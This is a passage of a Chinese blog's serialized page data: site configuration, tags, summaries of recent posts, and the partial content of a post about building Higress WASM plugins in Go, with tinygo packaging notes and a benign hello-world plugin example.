b-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":"","blockMap":{"block":{"ac8b0aec-6e91-49e0-b6c0-806e97729436":{"value":{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","version":762,"type":"page","content":["f89c6357-f996-44bb-8353-ae7b53735785","44a14b32-9c7b-4517-a74d-354993cbd1c5","c83988b3-61ce-40d6-826f-81ec10278c2f","dfeb07c4-e2be-4a62-ab17-74fcb7f50302","f104ffaa-3862-4ab9-bea6-e7f84558b7bf","3290e92f-1109-4ed8-b8ed-0eab02738a00","e2fa09d4-c5d6-4ce5-b218-4f0c576932a6","034f5003-5732-4259-977e-6937bdac9049","06369f2b-97d2-4f47-8c75-30258ca5ff0c","ec362c50-ff08-4781-9ce2-ea886c51072a","6179e7cb-0d5a-4b57-8913-b0ad6e0e21db","81995a2e-089a-4fc3-ba9e-ce5f106aebef","10450855-cb6b-4c09-9135-c5d0206d4ebc","2f881b36-dce3-4594-a8ef-9685d93ca1a7","da6c7024-73ec-4612-8b71-bcafdbf9817e","c784ae1a-248b-4761-87e3-433162f22375","2eae0c10-6298-492c-965a-c04cbe27e96c","3c61487c-a6a0-4d02-a3c4-5e70751b64bb","056201d3-0cc3-4491-8866-80ed5f1edabb","d91d699a-c53a-4479-8291-a7e73cc31bea","3f97426d-2e48-458c-8adb-246d29710dbb","389203e1-748c-4377-9a31-1311f28fe047","8f5ac3b5-320e-416a-986e-840c4fc7db64","200b074c-d78e-4142-ad17-4d3cac853e75","9dc62774-3cc0-44bc-9d87-9f8c6b063ed6","e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","a47cf725-afb8-4086-b5f4-b3a98e452b56","1d826e8b-3136-43d3-b7c3-9ca1b2913155","0b7b6440-36a6-4026-a565-2cf653ed11fc","79932955-44b6-4e22-90b0-103286162f5b","d03f4354-097c-4033-bf39-a4716640700d","01edf406-ee97-4535-9afb-ce22945f647b","611f15ea-320f-489c-80ff-28b0d4d688c7","f91f97cb-8ba2-42d7-9fe4-3cfe90e9ec47","dbc40190-555a-4614-b9a7-0730a884cad5","3d338238-9376-4940-ac6d-bdfefc5f5a9a","1908589e-c5cf-4e90-95a8-dd7523c5158a","d530c363-0f54-4982-9b38-988f76ebef2c","bf830245-290b-4b07-9d1a-775235868b5d","1cd1c77c-c2fe-4afa-a0a2-2c252a734cf5","cea023d2-91a1-4205-b695-fb28e35df834","1891590b-e5d0-4c25-8e8d-979598230d00","fd761f2b-7d09-4650-b9ac-62a743d94644","9e88f110-586f-4300-a22c-94ca3cbb47f8","4ed6c04b-5538-41b2-8399-509b3a8e104f"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1719312273703,"last_edited_time":1719377649169,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"f89c6357-f996-44bb-8353-ae7b53735785":{"value":{"id":"f89c6357-f996-44bb-8353-ae7b53735785","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275847,"last_edited_time":1719312275847,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"44a14b32-9c7b-4517-a74d-354993cbd1c5":{"value":{"id":"44a14b32-9c7b-4517-a74d-354993cbd1c5","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275847,"last_edited_time":1719312275847,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"c83988b3-61ce-40d6-826f-81ec10278c2f":{"value":{"id":"c83988b3-61ce-40d6-826f-81ec10278c2f","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275846,"last_edited_time":1719312275846,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"dfeb07c4-e2be-4a62-ab17-74fcb7f50302":{"value":{"id":"dfeb07c4-e2be-4a62-ab17-74fcb7f50302","type":"callout","properties":{"title":[["今年天池大赛有higress相关挑战,研究一下。之前没搞过go,踩了很多坑,最主要的就是tinygo打包,多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275846,"last_edited_time":1719377570453,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"f104ffaa-3862-4ab9-bea6-e7f84558b7bf":{"value":{"id":"f104ffaa-3862-4ab9-bea6-e7f84558b7bf","type":"header","properties":{"title":[["环境布置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275847,"last_edited_time":1719312429112,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"3290e92f-1109-4ed8-b8ed-0eab02738a00":{"value":{"id":"3290e92f-1109-4ed8-b8ed-0eab02738a00","type":"bulleted_list","properties":{"title":[["包安装等可能需要依赖魔法,实在不行再配置代理仓库吧"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719314780610,"last_edited_time":1719314815065,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"e2fa09d4-c5d6-4ce5-b218-4f0c576932a6":{"value":{"id":"e2fa09d4-c5d6-4ce5-b218-4f0c576932a6","type":"bulleted_list","properties":{"title":[["下载GoLand"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275846,"last_edited_time":1719312467648,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"034f5003-5732-4259-977e-6937bdac9049":{"value":{"id":"034f5003-5732-4259-977e-6937bdac9049","type":"bulleted_list","properties":{"title":[["使用GoLand拷贝代码"],["https://github.com/alibaba/higress",[["a","https://github.com/alibaba/higress"]]]]},"created_time":1719312467744,"last_edited_time":1719312494287,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"06369f2b-97d2-4f47-8c75-30258ca5ff0c":{"value":{"id":"06369f2b-97d2-4f47-8c75-30258ca5ff0c","type":"bulleted_list","properties":{"title":[["定位到higress/plugins/wasm-go/extensions目录"]]},"created_time":1719312500378,"last_edited_time":1719312527279,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"ec362c50-ff08-4781-9ce2-ea886c51072a":{"value":{"id":"ec362c50-ff08-4781-9ce2-ea886c51072a","type":"bulleted_list","properties":{"title":[["安装"],["Golang1.19,推荐直接在IDE中安装",[["b"]]]]},"content":["8fe04047-c9b1-4ca6-92cf-eb6ef02bc043","55fa9c2d-8d40-4a82-b836-3b13a462c2b0"],"created_time":1719312527423,"last_edited_time":1719312609747,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"6179e7cb-0d5a-4b57-8913-b0ad6e0e21db":{"value":{"id":"6179e7cb-0d5a-4b57-8913-b0ad6e0e21db","type":"bulleted_list","properties":{"title":[["TinyGo(要求 0.28.1 版本以上)安装",[["b"]]]]},"content":["f6fd9457-03b2-49d0-ad0c-4077dcdbd3c0","df5c0361-d2a9-4578-8424-8bdae0efd984","33a2b6ec-e6f0-41ff-b2ee-b3a0db3bf232"],"created_time":1719312561439,"last_edited_time":1719314760393,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"81995a2e-089a-4fc3-ba9e-ce5f106aebef":{"value":{"id":"81995a2e-089a-4fc3-ba9e-ce5f106aebef","type":"text","created_time":1719314759335,"last_edited_time":1719314877934,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"10450855-cb6b-4c09-9135-c5d0206d4ebc":{"value":{"id":"10450855-cb6b-4c09-9135-c5d0206d4ebc","type":"header","properties":{"title":[["官方Demo"]]},"created_time":1719312805495,"last_edited_time":1719317173080,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"2f881b36-dce3-4594-a8ef-9685d93ca1a7":{"value":{"id":"2f881b36-dce3-4594-a8ef-9685d93ca1a7","type":"bulleted_list","properties":{"title":[["用GoLand打开higress,找到/plugins/wasm-go/extensions/hello-world"]]},"created_time":1719314905805,"last_edited_time":1719315073624,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"da6c7024-73ec-4612-8b71-bcafdbf9817e":{"value":{"id":"da6c7024-73ec-4612-8b71-bcafdbf9817e","type":"bulleted_list","properties":{"title":[["使用master分支"]]},"created_time":1719315018344,"last_edited_time":1719315075306,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"c784ae1a-248b-4761-87e3-433162f22375":{"value":{"id":"c784ae1a-248b-4761-87e3-433162f22375","type":"bulleted_list","properties":{"title":[["当前24年6月25日19点,我使用的Revision版本:ef4a0243aceb59ad0e630c40683c429a4f1198a0"]]},"created_time":1719314905972,"last_edited_time":1719315076811,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"2eae0c10-6298-492c-965a-c04cbe27e96c":{"value":{"id":"2eae0c10-6298-492c-965a-c04cbe27e96c","type":"bulleted_list","properties":{"title":[["参考"],["https://higress.io/zh-cn/docs/user/wasm-go/#2-编写-maingo-文件",[["a","https://higress.io/zh-cn/docs/user/wasm-go/#2-%E7%BC%96%E5%86%99-maingo-%E6%96%87%E4%BB%B6"]]],[",把hello-world改造下顺便学习下语法"]]},"created_time":1719315087934,"last_edited_time":1719315120103,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"3c61487c-a6a0-4d02-a3c4-5e70751b64bb":{"value":{"id":"3c61487c-a6a0-4d02-a3c4-5e70751b64bb","type":"code","properties":{"title":[["package main\n\nimport (\n\t\"github.com/alibaba/higress/plugins/wasm-go/pkg/wrapper\"\n\t\"github.com/higress-group/proxy-wasm-go-sdk/proxywasm\"\n\t\"github.com/higress-group/proxy-wasm-go-sdk/proxywasm/types\"\n\t\"github.com/tidwall/gjson\"\n)\n\nfunc main() {\n\twrapper.SetCtx(\n\t\t// 插件名称\n\t\t\"hello-world\",\n\t\t// 为解析插件配置,设置自定义函数\n\t\twrapper.ParseConfigBy(parseConfig),\n\t\t// 为处理请求头,设置自定义函数\n\t\twrapper.ProcessRequestHeadersBy(onHttpRequestHeaders),\n\t)\n}\n\n// MyConfig /*\ntype MyConfig struct {\n\tmockEnable bool\n}\n\n/*\n在控制台插件配置中填写的yaml配置会自动转换为json,此处直接从json这个参数里解析配置即可\n@note:\n - 星号表示指针\n - 传递一个指针给函数时,函数可以直接修改指针所指向的变量的值\n*/\nfunc parseConfig(json gjson.Result, config *MyConfig, log wrapper.Log) error {\n\t// 解析出配置,更新到config中\n\tconfig.mockEnable = json.Get(\"mockEnable\").Bool()\n\tlog.Info(\"yml配置此时为:\" + json.Raw)\n\treturn nil\n}\n\n/*\nHTTP 请求头处理阶段,网关接收到客户端发送来的请求头数据时,触发wrapper.ProcessRequestHeadersBy\n@note\n - 没有星号,表示副本,对副本的任意修改都不会影响到原来的变脸\n*/\nfunc onHttpRequestHeaders(ctx wrapper.HttpContext, config MyConfig, log wrapper.Log) types.Action {\n\tlog.Info(\"开始拦截header\")\n\t//proxywasm工具类直接增加header\n\terr := proxywasm.AddHttpRequestHeader(\"hello\", \"world\")\n\tif err != nil {\n\t\treturn 0\n\t}\n\t//如果配置为的true,直接返回hello-world\n\tif config.mockEnable {\n\t\t//proxywasm工具类直接拦截返回response\n\t\terr := proxywasm.SendHttpResponse(200, nil, []byte(\"hello world\"), -1)\n\t\tif err != nil {\n\t\t\treturn 0\n\t\t}\n\t}\n\treturn types.ActionContinue\n}\n"]],"language":[["Go"]]},"created_time":1719315432143,"last_edited_time":1719317157789,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"056201d3-0cc3-4491-8866-80ed5f1edabb":{"value":{"id":"056201d3-0cc3-4491-8866-80ed5f1edabb","type":"quote","properties":{"title":[["在GoLand中,直接在方法中使用json gjson,会自动在go.mod和main.go的require中增加相关的依赖"]]},"created_time":1719315457625,"last_edited_time":1719315515680,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"d91d699a-c53a-4479-8291-a7e73cc31bea":{"value":{"id":"d91d699a-c53a-4479-8291-a7e73cc31bea","type":"text","properties":{"title":[["higress插件可以实现的"],["4个钩子",[["b"]]],[":"]]},"created_time":1719315050427,"last_edited_time":1719317024465,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"3f97426d-2e48-458c-8adb-246d29710dbb":{"value":{"id":"3f97426d-2e48-458c-8adb-246d29710dbb","type":"bulleted_list","properties":{"title":[["HTTP 